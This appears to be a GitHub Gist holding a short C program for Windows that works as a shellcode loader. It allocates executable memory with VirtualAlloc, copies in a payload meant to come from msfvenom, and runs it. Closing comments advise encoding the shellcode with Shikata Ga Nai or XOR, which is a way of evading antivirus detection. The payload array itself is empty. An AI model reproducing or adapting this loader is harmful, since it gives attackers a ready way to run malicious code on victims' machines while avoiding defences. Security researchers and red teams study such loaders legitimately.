Last active
October 12, 2020 16:00
-
-
Save lithackr/efac09f7d902fd69c7519536a07c3023 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> //VirtualAlloc is defined here | |
unsigned const char payload[] = ""; //shellcode as output by msfv | |
size_t size = 0; //size of payload in bytes (output by msfv) | |
int main(int argc, char **argv) { | |
char *code; //Holds a memory address | |
code = (char *)VirtualAlloc( //Allocate a chunk of memory and store the starting address | |
NULL, size, MEM_COMMIT, | |
PAGE_EXECUTE_READWRITE //Set the memory to be writable and executable | |
); | |
memcpy(code, payload, size); //Copy our payload into the executable section of memory | |
((void(*)())code)(); //Cast the executable memory to a function pointer and run it | |
return(0); | |
} | |
// set payload and size then compile/build | |
// encode w/ Shikata Ga Nai for 32-bit, and XOR for 64-bit shellcode. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment